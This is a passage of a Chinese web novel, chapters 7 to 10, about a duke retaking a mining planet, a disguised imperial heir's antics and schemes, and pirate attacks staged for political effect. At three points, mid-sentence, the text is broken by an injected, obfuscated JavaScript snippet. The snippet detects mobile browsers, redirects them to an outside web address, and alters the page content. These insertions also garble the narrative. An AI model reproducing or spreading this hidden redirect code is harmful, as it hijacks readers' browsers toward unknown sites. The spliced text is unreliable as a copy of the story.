现代社会虽然是帝制,但到底不同于古地球时期的完全封建制度,信息高效传播的星际时代,若是统治者是名随意杀人的暴君,那他的统治根本无法长久的持续,沸腾的民意,以及虎视眈眈的其他几大家族,都会将他推翻。 因而,七大家族无论私底下怎样目无法纪,但明面上,行事时都是要名正言顺,合法合规的,就像维纶当年也是借了星盗的名头才成功在砾石星驻军。 而劳伦特·费舍,虽然大家都知道他一定是个叛徒,但到底没有足够的证据将他定罪,而且他的背后是维纶,若是兰德尔真像白启说的那样做了,维纶那边一定会借此大肆发挥,渲染兰德尔残暴的名头不说,塞勒斯家族也将陷入新一轮的攻讦。 “不行吗?我看电视剧都这么演。”白启一副意外表情。 “是的,不行。”伊蒙对白启的无知倒也见怪不怪,出生偏远编号星球的平民少年,对贵族政治的了解自然是只能依靠那些情节夸大的影视剧作品,他准备找个机会好好对白启解释一遍,但现在他只想抓紧带白启离开,他几乎都能感觉到公爵阁下外溢的冷气了。 兰德尔之前的不悦还是比较明显的,但听完白启这一席话的此刻,他却是显得若有所思。 “你想让我对付费舍?” “对啊!”白启毫不避讳。 “为什么?”舰长的高位上,兰德尔身体微微前倾,灰蓝色的眸子中带着一抹探究。 “因为我们是一家人啊!”白启是如此理所当然,他边说边往台阶上走,“阁下帮了我那么多,我早就把阁下当成异父异母的亲兄弟了!那个什么费舍背叛了阁下,我当然是想为阁下出出气的!” 在白启说完第一句,并有往上走的态势的时候,兰德尔就已经预见了什么,他闭上眼,像是很头疼。 “阿加雷斯。” “是的,阁下。” 在白启洋溢着灿烂的笑容走到兰德尔身前,手熟稔地要往对方肩膀上搭的时候,一只黑猫突然从兰德尔的桌下钻了出来。 “哪来的小猫咪?诶诶——”白启话还没说完,那只黑猫的绿眸就散发出数据流闪动的光亮,附近一台的警卫机器人犹如接受到了什么信号,突然启动,来到白启身后,机械臂一拎,抓着他的后衣领口,将其一路提出了指挥室。 “抱歉,阁下。”伊蒙道歉完,也赶紧追着白启离去。 重新恢复安静的指挥室中,兰德尔靠在椅背上,疲倦地捏了捏眉心。 7. 下马威 一个多小时后,20时整。 维纶的最后几艘星舰陆续离港,而在太空悬停多时的塞勒斯舰队,也于这一刻准时在砾石星的东部港口降落。 劳伦特·费舍带领着一众砾石星政府高官,亲自到港口迎接,简单的礼节问候后,又一路陪同着前往总督府的宴会厅。 除了兰德尔及与其一起出行的一众塞勒斯官员,混在里面的白启也享受到了来自砾石星的隆重招待,而且众人对他的兴趣还不小,甚至略高于兰德尔。 泽维尔突然寻回的皇嗣是跟砾石星的归属权变更一同公布的消息,论起两者在星网上的讨论度,前者几乎是以碾压性的优势多过后者,毕竟大多数民众对政治都不怎么感兴趣,与其相比,还是突然从民间寻回的皇子听起来更有戏剧性。 民众的关注点在于这位皇子过去生活在哪里,怎样被寻回,但贵族,或者说,政客们的关注点就完全不是这回事了。 稍微对政治敏感点的人,在看到这两则消息前后出现后,都会立即察觉到其间的关联,显而易见,这名皇嗣是造成塞勒斯和泽维尔交恶多年后突然联合的关键,也是致使维纶和格拉西斯在听证会上意外失利的直接导火索。 若这名皇嗣有C级以上的精神力,并呈现出泽维尔家族特有的太阳特性,那他的真假自然毋庸置疑,但偏偏,他的精神力只有D,那么他的真假就很值得商榷了。 相当多的政客,包括维纶和格拉西斯,在听闻此事后,几乎是立刻就认定这皇嗣是个假货,是塞勒斯与泽维尔为了名正言顺联合炮制出来的借口。 他们的判断自然没有证据,但其实是真是假都不重要,就算这位皇嗣拥有货真价实的血脉,D级的精神力也注定了他只能沦为台前的傀儡。 因而,砾石星的政客们对白启的兴趣更多是想看看这位皇嗣长得什么模样,是个什么样的人,因为皇室官宣皇嗣的存在至今,还未放出任何照片信息,只说殿下刚被寻回,心情起伏过大,需要休养一阵,同时各项仪式也需要时间准备,皇室将于大约二十天后召开新闻发布会,让白启正式面见公众。 说来伍德之前交代的事项中就有发布会这一条,特地叮嘱了白启好好准备一番,然而白启转头就跟着兰德尔来到了砾石星,俨然一副将正事抛之脑后的玩乐态势。 他也确实在玩乐,一来到宴会,就被那些花样繁多的名酒美食吸引了注意力,什么鹅肝松露,很多东西都是平民出身的人一辈子都不会有机会品尝,乃至见到的,所以白启被其迷乱了眼,也是合情合理的。 在以社交为主的晚会上,他像只蜜蜂一样环绕在宴会厅的长桌旁,这边吃一口,那边尝一下,忙碌得简直停不下来。 不是没有人试图来与他搭话,即便知道这名皇嗣更多只是个名誉身份,不会真的有什么政治权力,但好奇多多少少还是有的,只是这些人都被伊蒙挡住了,倒不是怕对方在近距离的交谈中发觉白启的无知和各种源自底层的粗陋习气,以致于丢了皇室和塞勒斯的脸面,伊蒙主要怕白启再说出什么“当场把费舍击毙”之类的豪言。 这话在指挥舰上说了也就说了,要是在大半宾客都姓费舍的接待宴上,那场面伊蒙实在是无法想象。 有伊蒙的保驾护航,白启得以全身心地投入在吃喝大业中,于是,坐在二楼露台上的兰德尔目睹了白启在下面一通胡吃海喝,不到半个小时的时间就因为喝了多种混酒而把自己成功灌醉,最终被伊蒙半扶半背地带到二楼另一侧休息室的全过程。 “殿下真是年轻。”坐在兰德尔对面的劳伦特感慨道,“我这个年纪已经没有这样好的胃口了。” “费舍勋爵说笑了,您还正当壮年,之后砾石星的各项事务还是要多劳烦您。”兰德尔得体道。 “我已经275岁了,看我,头发都白了。”劳伦特笑着指指自己鬓角的白发。 他确实已经不年轻了,即便在迎接兰德尔前还特地打理过自己的仪容,这个年纪的劳伦特还是显出了无法掩饰的老态。 “若不是二十三年前那件事,我这个年纪,其实都该退休了。”劳伦特提起往事,满脸歉疚,“当年星盗猖狂到截断了所有主要航道,造成的经济损失难以估量,民间也是怨声载道,抗议政府无能的民众几乎堵死了总督府的大门,我向塞勒斯求援,却久等不至,无可奈何之下,才转而求助维纶,却不想是引狼入室。” “当年的塞勒斯确实分身乏术,您的选择是为了砾石星的民众,这并没有错。”兰德尔表达了充分的理解,半点没提劳伦特那个所谓的久等不至,其实也不过两天而已。 “阁下理解就好。”劳伦特抹了抹眼角,又抿了口酒,调整好情绪后,他再度开口道,“对了,阁下这回重新拿回砾石星,对此地有什么新的规划吗?” “还是沿用旧例?”他用闲谈般的轻松语气问。 但这个看似简单的问题下藏着绝不简单的东西,旧例是指过去二十三年在砾石星实行的税制和法条,相较于曾在塞勒斯家族统治下的版本, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423056|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一版税法费舍家族将分得更大的利益,同时,也对砾石星有更大的控制权,几乎相当于一个独立领主,而非隶属于谁的家臣,这也正是当年费舍叛投维纶的关键。 “我不是我的父亲。”兰德尔提起自己的父亲也是一贯的淡漠语气,像是并没有多少感情,“塞勒斯的衰败皆起于他,而今我接任掌舵,腐朽的巨舰难以远渡,新船应用新血,费舍勋爵以为呢?” 一直微垂的灰蓝色的眸子在此刻抬起,与劳伦特·费舍隔桌对视的视线中,终于显出几分虚伪客套下暗藏的真实锋芒。 数息后,劳伦特率先移开视线,他端起酒杯笑笑:“当然。” 他同时另起了一个话题,跟兰德尔聊砾石星这些年的发展,聊方才那位醉酒的皇嗣,剑拔弩张的气氛似乎已经慢慢消散于无,但在时间来到午夜十二点,宴会已近尾声,劳伦特也几乎就要起身离席的时候。 他像是突然想起了什么,对兰德尔说:“阁下,有件事还要提醒您,这些年虽然有维纶的驻军保护,但仍有小部分穷凶极恶的星盗在砾石星附近流窜作案,您请务必要小心。” 他好心提醒的笑容还挂在嘴角,一阵震天动地的巨响突然从远方传来,动静大到连宴会厅顶部的吊灯都在微微晃动。 下方沉浸在宴会欢声笑语中的众人还不知发生了什么,茫然地互相对望着,站在二楼露台的兰德尔却已经清晰地看到了远方爆炸掀起的火光,来自他们之前登陆的东部港口。 “呼,这个当量,真是大手笔。” 二楼另一侧的休息室中,白启站在窗边吹了声口哨,被火光照亮的眸子中不见半点醉意。 “我们是不是该准备行动了?”王尔德蹲坐在窗台边,机械制的狐狸尾巴灵活地左右晃动。 “不,再等一等。”白启晃晃手指,“浑水才好摸鱼,让维纶和费舍再跟我们的公爵阁下玩上几回合。” “维纶和费舍在砾石星经营多年,外来的塞勒斯本身再如何强势,短期交锋中恐怕也会落入劣势。”王尔德说。 “不会的,维纶和费舍是二对一,我们的公爵阁下也不是孤身一人呐。”白启靠近窗边,手指隔着玻璃触摸远处的火光,轻轻笑道,“这不是还有我吗?” 同一栋建筑的同一楼层,几米之隔的两处,同样被火光映染的瞳孔中,灰蓝色的眸子沉沉不辨喜怒,金褐色的眸子轻浮且玩味。 红蓝色的警灯在车道上急速奔驰,刺耳的警报声响彻全城,今夜的砾石星注定无眠。 8. 星盗团 星历3287年3月6日,早8时,几乎所有电视台的所有晨间新闻栏目,都在播报同一则新闻——磐岩矿区主星砾石星东部港口遭遇星盗袭击,死伤不明。 “什么情况?”白启头发乱糟糟的,一副宿醉才醒的困倦模样,但在早餐时习惯性地看了一眼个人终端后,被终端首页弹出的新闻消息惊得整个人都清醒了,他立刻去问身旁的伊蒙。 “如新闻所言,砾石星东部港口于今日凌晨,0时03分,遭遇星盗武装袭击。”伊蒙说。 “东部港口?就是我们昨天登陆的那座港口?” 在得到伊蒙的肯定后,白启满脸不可思议:“那距离也不是很远,我怎么一点感觉都没有?” 事实上,伊蒙也很想知道这点,昨夜那样混乱噪杂的环境,白启是如何这样安稳的一觉到天亮的。 “对了,伤亡怎么样?严重吗?”白启又问,“而且那里不是有塞勒斯的舰队吗?什么星盗胆子这么大?难不成是衔尾蛇?” 这是近几十年最臭名昭著的星盗团,甚至放在整个帝国历史上,都几乎无有出其右者,因为衔尾蛇正是二十五年前那场刺杀案的直接实施者,以一种至今都匪夷所思的方式从遥远的域外穿越帝国的多道守卫防线,突袭毫无防备的第一星区首都日冕星,一通狂轰滥炸下,几乎将昔日那座恢宏气派的达日博格神宫夷为平地,皇帝皇后,以及数万在宫殿内办事的官员,周边无辜的平民,都在这场轰炸中不幸身陨。 今日的达日博格神宫虽然重建的和过去一般无二,但皇室的威望却是再也回不到旧时了,衔尾蛇直接造成了皇室的没落和帝国势力的重新洗牌,也使得这个名字在星际间人尽皆知,即便是平常完全不关注政治的人,一提到星盗,第一个想到的就是衔尾蛇。 “不,当然不是,衔尾蛇早就被伍德元帅带兵剿灭了。”伊蒙道。 犯下如此重案,若是还能放任这伙星盗安然无恙地存在,那真是将整个皇室的脸面放在地上摩擦,虽然其实在那场刺杀案后,皇室就已经没有直系的子嗣了,但接掌大局的伍德元帅还是立刻调动军队,对衔尾蛇展开了最猛烈的围剿,将其一路赶回域外的老巢,连锅端的同时,还将那片因早年战乱而混乱多年、沦为星盗大本营的星区重新纳入帝国的版图,也即现今的黎明自治区。 “是星鲨帮,也就是这些年一直在砾石星附近流窜作案的那一伙人。”伊蒙一个一个回答说,“塞勒斯的舰队是在那里,却是停泊状态,而且那伙星盗其实并没有敢直接正面攻击,他们主要轰炸的是另一边的民用港口,两者都属于东部港口,实际上却隔了有五六公里,万幸,因为是深夜,当时也没有星舰入港,只有部分值班人员受伤,暂时没有死亡记录。” “那就好。”白启松了口气,终于放过了被他不断摆弄的几乎已经不成型的煎蛋卷,用银叉叉起一口吃了。 垫了垫肚子,他才继续问:“那公爵阁下现在是在亲自追捕星盗吗?” “没有,阁下在布置砾石星的防务,以及统筹协调将一部分军用港口暂时划归民用。”伊蒙说。 前者很好理解,星盗这回袭击得手,打的就是一个塞勒斯的军队刚刚登陆,还未在砾石星形成整体布防的时间差,而后者,自然也不是不重要,但为什么能重要到跟前者并列提起呢? 看出白启脸上的困惑,伊蒙主动解释道:“砾石星是磐岩矿区的枢纽星,周边所有矿星生产的矿石都要从这里中转,与其他星域的商贸也多是在这里进行,而东部港口是砾石星最主要的星际港口,停运一天的损失都在30亿星币以上。” 这种经济上的损失甚至都还不是最主要的,更重要的是民间的舆论,大多民众不太关心砾石星的归属权,维纶或是塞勒斯,对他们区别都不大,但是塞勒斯接掌了砾石星的第一天,就发生了这样的事,必然造成民众对塞勒斯安防能力的质疑。 同时,港口停摆的时间一但过长,停产停工失业等影响必然蔓延到砾石星的各个阶层,到时候,砾石星恐怕会民怨四起,乃至爆发大规模的抗议游行,届时即便塞勒斯已经获得了议会对砾石星归属权的承认,维纶那边也可以借此再次发起投票,在沸反的民意支持下,重新拿回整个磐岩矿区。 听完了伊蒙的解释,白启一副恍然神情,他若有所思道:“听起来情况对阁下很不利啊,但是也有点奇怪,星盗袭击一般不都是为了劫掠财物吗?他们袭击港口能得到什么?除了塞勒斯全方位的追捕围剿,根本什么都得不到啊。” “该不会……”白启像是突然想通了什么,大胆猜测道,“这伙星盗是冲着公爵阁下来的,是维纶那边的人要给阁下一个下马威吧?” 必然如此,否则昨夜的那伙星盗不会至今还未被抓捕到案,他们的表现不像寻常星盗那样组织松散毫无纪律,反倒周密严谨得更近似那种训练有素的雇佣兵,使用的武器装备也不是粗糙烂制的土货,虽不比尖端的正规军制,却也绝不是这种名不经传的小型星盗团能有的。 在伊蒙点头后,白启惊奇道:“我之前随口说这伙星盗没准是维纶和费舍联合搞出来的,现在看很可能是真的?” 他又一拍大腿,惋惜道:“就该听我的,直接把那个劳伦特·费舍击毙,不就没这么多事了吗?” “这些都是推论,没有证据的……”伊蒙一脸汗颜,他现在能跟白启说这些,也是因为这是私下,要是在公开场合,胡乱造谣一名贵族与星盗勾结,在拿不出证据的情况下,很可能被反向起诉问罪。 而且,砾石星的乱子本质是利益分配引发的矛盾,是塞勒斯和维纶两大家族为争夺磐岩矿区矿源的暗中角力,又岂是死一个劳伦特·费舍能够解决的? 伊蒙再次苦口婆心地叮嘱了一番,不要在人前说些什么“把费舍当场击毙”之类的字眼,在白启再三表示知道了后,他才终于住口。 “说起来……”白启用调羹敲了敲餐盘,金褐色的眼睛狐狸似的滴溜溜转着,“昨夜那么多事情,阁下不会是一夜没睡吧?” “是的,阁下现在还在办公室处理事情。” “那岂不是连早饭都没吃?”白启立即站起,一脸关切地挑拣了一盘未动的餐点, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423057|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头示意伊蒙带路。 总督府西侧,暂时被划归为塞勒斯驻砾石星办事处的办公室内。 兰德尔正阅览着一份文件,突然听到“咚咚”的敲门声,他抬手在文件末尾签上自己的名字,头也不抬。 “进。” “吱呀”一声,门开了一道小缝儿,兰德尔将签完的文件放到一边,抬起头,就见到门缝中探进一个脑袋,正呲牙对着他笑。 “在忙吗?”白启说。 “有事就说。”兰德尔低头去看下一份文件。 “没什么事,就是听伊蒙说阁下你从昨夜忙到现在,我想着你应该还没吃早饭,来给你送点吃的。”白启走进屋中,献宝似的将藏于背后的餐盘端到身前。 兰德尔看也不看,语气冷淡:“没事就出去。” “有事有事,我这不是在关心阁下的身体嘛。”白启不退反进,直接一屁股坐到了兰德尔的办公桌上,侧弯着腿,强行将餐盘摆到了兰德尔低头看文件的视线中。 餐盘中央的吐司用樱桃果酱潦草地画了个笑脸,在兰德尔的视线中心灿烂又喧闹地笑着,同时,白启喋喋不休的话语也仍在继续:“夜里的事我听伊蒙说了,是很严重,但饭还是要吃的嘛,弄坏了身体怎么办?我看电视剧上那些总裁基本都有胃病,都是忙工作忙出来的,阁下可千万不能变成这样……” 一道隐约的深呼吸声后,兰德尔说:“阿加雷斯。” “是的,阁下。” 上次那只神出鬼没的黑猫再次凭空从兰德尔的办公桌下钻出,轻盈地跳上桌面。 “等等——!”白启立即条件反射地扒住桌面,随时提防着哪里来的机器人将自己提走,他连声叫道,“有事有事,真的有事!” 他以比先前快了三倍不止的语速飞快道:“我就是想问问阁下,我能不能出去转转,虽然现在砾石星不太平,但是有伊蒙跟着我,而且我也不会乱跑的,我就是想去商场买点东西。” 兰德尔这回抬起了头,灰蓝色的眸子打量着白启,像是在审视他言语中掩藏的真实目的。 白启满脸诚恳,同时做了个更加诚恳的请求手势。 “可以。”兰德尔最终说。 白启无声地比了个“耶”,达成了他想要的目的,他立刻就不假模假样地演什么关心了,身体很麻溜地从办公桌下来,边说话边往后退:“那我就先不打扰阁下了,阁下再见!” 话音未落,人已经闪出了屋子,跑得没影了。 兰德尔正要继续低头工作,蹲坐在一旁的黑猫突然用他毫无起伏的嗓音说:“阁下,您的身体各项指标都低于平均值,经过综合分析,您确实该用餐了。” 兰德尔动作一顿,侧头看向黑猫,久居上位,他的视线总是带着股迫人的压迫力,很难有人能长久与他对视,但这自然不包括身为人工智能的阿加雷斯。 黑猫无机质的绿眸不闪不避地与他对视着,最终,兰德尔像是败阵般叹了口气,后仰着靠到椅背上,手指揉捏眉心,也不知是为黑猫头疼,还是为那盘潦草又吵闹的笑脸吐司。 9. 挥霍 “殿下,虽然作为皇室成员,您确实享有一些政治上的特权,但这并不包括无证驾驶机动车辆,尤其还是这种操作难度和危险等级都更高的陆空两用悬浮车。”伊蒙一脸为难地劝阻着。 从兰德尔那里拿到了外出的口头允许,外加上次拿到的金钱自由,白启一下集齐了成为一名败家子的所有先决条件,并且,他也确实像那些一夜暴富的败家子一样,出门就直奔砾石星本地最大的车行,眼都不眨地刷掉三千万星币,买了眼前这辆市面上型号最新配色也最为骚包的限量款红色超跑。 此刻,白启正坐在超跑的驾驶位上,爱不释手地抚摸着操作台,俨然一副要开出去玩玩的跃跃欲试神态。 好在,他还是相当听劝的,嘟囔说:“我就是摸摸。” “其实我是买给伊蒙你开的,你应该有证的吧?看样子我们还得在砾石星待一阵子,买个车代步,出门也方便点嘛。”白启为自己豪掷三千万的行为找着正当的理由,恋恋不舍地又摸了操作台几下,这才起身挪到副驾驶的位置。 其实如果只是代步的话,塞勒斯此次来砾石星的舰队上就随行装载有一些地面车辆,而且是做过伪装的特殊型号,外表像民用车辆一样低调,内里却是真正顶尖的军工科技,安全性极佳,远非这辆华而不实品牌溢价占了大头的民用超跑可比,硬要说其有什么优秀的,大概就是看起来更酷更惹眼更符合一个败家子的品味吧。 伊蒙叹了口气,没有戳穿白启,坐到驾驶位上,提醒白启扣好安全带后,他启动仪表盘:“虽然是陆空两用车,但是民用车辆走空中通道需要特殊申请,我们暂时只能在路面上走。” “嗯嗯。”白启满口应下,显然不在意什么陆上还是空中,他只在意这辆超跑拉风不拉风。 戴上车行赠送的防风墨镜,白启将手伸出敞篷,打了个响指。 “出发!” 引擎的轰鸣声中,红色的超跑混入路面通勤的车流,招摇地开往下一个目的地——宠梦之家,一家主打高端的机器宠物定制商店。 “仿生皮毛,勾上,生命体征模拟系统,勾上,钛金属骨骼,勾上,战斗系统,宠物机器人还有战斗系统?”白启从客户定制面板上抬起头。 一旁的销售立刻热情解释:“只是一些仿生的兽类战斗能力,不配备火力装置,就像您定制的是一只狐狸,那么它就会有爪牙当做武器,战斗能力略强于一只真正的狐狸,可以起到一些基础的家庭防卫作用,跟警方专业追捕用的猎犬机器人是无法比的。” “喔。”白启低头把这条也勾上,又继续往下浏览着,随着他一条一条地在定制类目上打勾,全息面板上实时跳动的总计价也在不断攀升,轻松迈过了百万的大关,正向着千万前进。 “里奥,虽然你的行为客观上为那位塞勒斯公爵赢得了不下于百万兆亿的矿星资产,于情于理,你都有权拿取一点报酬,但我还是要向你提醒,你的消费观念非常之不健康,已经达到了挥霍无度的级别。”王尔德在脑域中说。 “废话少说,难得有吃大户的机会,你花不花?”白启手指滑动,将页面划到处理器的选择模块,如此高端的宠物机器人定制商店,所罗列的处理器选择,自然也都是市面上最尖端的款式,其性能放在宠物机器人上纯属大材小用,运算效率堪比一些军用的机甲核心。 王尔德沉默了两秒,矜持说:“那我也买一点。” 说完,都不用白启帮他打勾,黑进商店订购系统的王尔德直接在页面最昂贵的那款处理器上画上了勾,计价总额也从之前的360万一跃到此刻的1120万。 “好了,就这些吧。”白启又杂七杂八地勾选了一些,最后的成交总额是1330万。 销售笑得嘴都要合不拢了,戴着白丝手套的手小心地捧起王尔德老旧掉漆的狐狸身体:“这就为您安排改装定制,大约需要三天的工期,请您留个地址,完工后我司将提供送货□□,或者您也可以选择来门店自提。” “三天?也太慢了,今天能不能做完,价格我给你翻倍,不,三倍怎么样?”白启说。 “稍等,我去向工程部请示一下。”销售压抑着狂喜的心情,得体地先带白启和伊蒙去休息区坐下后,这才转身去联系工程部。 三分钟后,销售笑容满面地回来:“工程部可以为您特别加急,大约三小时后就可以完成,您可以在店里稍待,我们有精美的茶点,或者您也可以去后面的商场转转。” 白启选择了留在店里,他一边吃着茶点一边跟伊蒙闲聊:“没想到公爵阁下也有养机器宠物的喜好,那只猫长得那么油光水滑的,简直看不出来是只机器猫,定制价格应该也不比我的王尔德便宜吧?” “宠物?阁下从来不喜欢什么宠物,您是说阿加雷斯?”伊蒙说,“其实那不是机器宠物,那是机甲核心的拟态化形。” “拟态化形?机甲核心还能拟态化形?”白启一副新奇神情,普通人所能了解的机甲都是那种统一制式的军用型号,外形近二十米高,处理器核心同样笨重巨大,比黑猫的身形庞大了数倍不止,他不知道这点非常正常。 “是的,不过只有采用变形金属制作的机甲核心可以拟态化形,体型也可以相应缩小到如您所见的黑猫大小。”伊蒙解释说,“这种金属非常昂贵,因而只用于高端定制的机甲型号,一般只有A级及以上的机甲会配备,而阿加雷斯的等级是S,在帝国七大机甲中序列第4,归属于塞勒斯家族。” “S级机甲?竟然是S级机甲?”白启适当地表现了一些对第一次见到S级机甲的好奇,问东问西了一阵,而后才切入他真正想知道的问题。 “为什么是黑猫的样子?这种机甲拟态的形象应该是可以自定的吧?” “是的,而且也未必是动物拟态,在主人工作时,机甲核心也可以拟态成更好辅助的人形机器形态,这取决于主人对其的设定。” “那是为什么?总不能是公爵阁下喜欢猫吧?他看起来什么都不喜欢,哈哈。”白启没忍住笑了出来。 伊蒙也笑了下,但随即又觉得这样不太好,赶紧收敛笑容,认真解释:“黑猫的形象来自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423058|184810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于初代公爵克里斯阁下,他的女儿,也就是第二代公爵戴安娜阁下,幼年时非常喜欢猫,克里斯阁下为了哄她,就将阿加雷斯设定成了黑猫的形象,而后的历代公爵基本沿用了这一设定。” “兰德尔也是?” “唔,也算吧,其实阁下他更常将阿加雷斯以手环的形象戴在身上,不过这种高级机甲都具有近似人类的智能与性格,性格一部分来源于机甲的初始设定,一部分来源于机甲不断对外收集的资料,就类似人类的学习吧,先天和后天的因素共同构筑了机甲的性格,在自由活动的时候,或者在离开阁下处理一些事情的时候,阿加雷斯总是会自己变成黑猫的样子,而阁下没有反对这点。” “原来如此。”白启这下能理解了。 他又跟伊蒙东拉西扯地聊了一阵,三个小时很快过去,销售仪式感满满地推了个用鲜花彩带装点的小车出来,在请示过白启后,他将上头盖的红丝绒礼布一掀,一只毛色火红,黑爪黑耳的小狐狸出现在白启眼前。 斑驳带着锈痕的铁皮外壳被仿真柔软的毛皮所取代,关节不见也先前的滞涩,小狐狸见到白启后灵活地一跃,稳稳地跳到了白启的肩膀上,蓬松带着体温的尾巴围脖似的一搭。 “主人。” 就连语音,听着也比之前智能了许多。 白启相当满意,刷卡付了连赶工费在内的3990万星币后,还额外多给了销售一笔10万的小费,美其名曰凑个整,然后在销售犹如看着再生父母的激动眼神中,带着全新升级的王尔德出门,仍然由伊蒙做司机,前往下一个挥霍的地点。 这次他去了奢侈品商场,各种衣鞋服饰,手表背包,以“这个这个不要,其他全包”的方式一通乱买,不光给自己买,他还给王尔德买,狐狸穿不了衣服,他主要给王尔德买各种造型的宠物饰品,将其打造成一只戴着黄色围巾,脑袋上顶着一副跟自己同款的棕色墨镜的酷酷狐狸,他甚至还想给伊蒙买,只是被伊蒙委婉也坚定地谢绝了。 一天的时间,白启花了快一个亿,主打一个“不是自己的钱花着就是不心疼”,晚上回总督府时不是他花够了,是准备养精蓄锐,明日再花。 深夜11点23分,东部港口袭击事件过去将将23个小时,尚不足一天。 硬生生靠花钱把自己花累了的白启已经四仰八叉地躺在床上睡熟了,毛茸茸的王尔德用新获得的蓬松大尾巴当做枕头,盘卧在白启的颈边。 另一侧的临时办公室内,兰德尔在十分钟前刚刚结束了一场线上会议,终于在一天的纷杂事务中获得片刻的空闲,正靠在椅背上闭目养神。 阿加雷斯变换成的黑猫蹲坐在办公桌右侧的窗台上,一只前爪抬起,像一只真的猫那样舔舐梳理着自己爪子上的仿生毛发。 突然,他的两耳立起,闪动着电子数据流的绿眸望向天空。 与他脑域相连的兰德尔同时睁眼,一则新的前线军情在三秒前抵达他的终端。 JP203东线航道,015号跃迁点附近,一艘民用客运星舰遭遇星盗袭击。 10. 金辉娱乐丨城 “又出事了?”白启一醒,就被终端上的新闻推送刷了屏,乍一看到星盗字样,还以为是港口袭击事件的重复报道,仔细一看,方才发觉不对。 “民用客运星舰夜间遇袭,多人受伤,现场视频实录。” “两天内连续两起,星盗如此猖狂为哪般。” “砾石星多年的和平为何被打破?谁该为袭击事件负责?” 白启一条一条读着新闻标题,又点开第一条目录下的视频链接,视频是旅客座舱的视角,透过弦窗可以看到不远处张牙舞爪的陌生武装星舰,民用星舰淡蓝色的粒子护盾在对方的炮火轰击下不堪地震动着,座舱内照明的灯光尽数熄灭,四周刺耳的尖叫声和晃动的镜头中,唯有警报的红灯在间歇闪烁。 白启又打开了几个,视频来自不同的角度,大约是不同的旅客所录,但内容大体是一致的,环境的混乱和惊慌,以及星盗的可怖。 “伤亡严重吗?”白启把视频关掉,转头问伊蒙。 伊蒙摇摇头:“塞勒斯的舰队在收到求援后五分钟就到达了现场,而星盗尚未完全攻破民用星舰的防御。” “五分钟?看来这伙星盗也并不怎么厉害嘛,我看电视剧上拍的那些星际战争,不是随随便便就能把星舰击沉吗?”白启说。 “事实上那伙星盗的攻击时间只持续了约四分钟,在塞勒斯的舰队抵达前一分钟,他们就已经通过跃迁通道撤离了。”伊蒙纠正了这一点,又简单科普了下。 “您指的应该是机甲,现代对粒子护盾的技术突破远胜于武器上的进展,常规来说,传统的以核弹,激光,粒子炮为主的武器想要攻破同级的粒子护盾,大约需要三分钟,唯有使用精神力武器的机甲可以最高效地突破粒子护盾,在瞬息间将星舰击沉。” “三分钟?但是那艘遇袭星舰是民用的,护盾等级肯定低于星盗的吧?而且星盗没有机甲吗?” “有的,上回港口遇袭事件,事后对现场痕迹的调查显示,对方起码有十二架C级机甲,以及一架B级的机甲参与。” 伊蒙答得可谓是相当克制,只陈述事实,没有任何似是而非的猜测,但在这些罗列出的事实下,真相已经昭然若揭。 “真是演都不演了。”白启愤慨道,“这伙星盗一不为财,不然就该袭击经济价值更大的货运商船,二也不为丧心病狂地杀人,慢吞吞演了这一出,根本就是要制造舆论,引导民众去攻击公爵阁下嘛。” 所以舆论才发酵得这样快,一夜的时间,遇袭视频就已经传得全网到处都是,媒体更是直接打出了那则指向性极强的标题——砾石星多年的和平为何被打破?谁该为袭击事件负责? 普通媒体可不敢随意得罪塞勒斯这种有事实军权的大贵族,对方背后必然有人撑腰,而那个人是谁,也几乎不做他想。 “公爵阁下怎么不反击?就该把证据都列出来,让大伙看看,这伙星盗的背后到底是谁!” “事实上,这些都不算是证据。”伊蒙为难道,“而且对方并没有亲自下场,只是一些民间的媒体报道,公爵阁下是不方便以官方身份直接回应的。” “那也不能让人这么欺负不是?”白启表现得很关心,“要不要我联系一下伍德叔叔,派点人来支援?” “额……”伊蒙欲言又止。 目前的局势下,大约只有白启自己以为他的皇子身份很重要,能够指使伍德调来泽维尔的援军,事实上,即便在听证会上选择联合,塞勒斯和泽维尔也是相当微妙的关系,合作,但也相互提防,不然已经被承认皇子身份的白启不会还留在塞勒斯这边,表面上再如何礼遇,都改变不了他身为质子的事实。 泽维尔那边显然不乐于见到维纶继续持有磐岩矿区的矿源,但他们同样不乐于见到塞勒斯持有,最好的局面是两方陷入持久的争斗,相互消耗和拖累。 眼下,泽维尔没有为砾石星的乱局推波助澜,就已经是看在不久前的合作面子上,出手相助绝无可能。 “我想阁下他可以自己解决。”伊蒙用了这个相当委婉的说法,既是谢绝了白启的好意,也是因为他确实这样觉得。 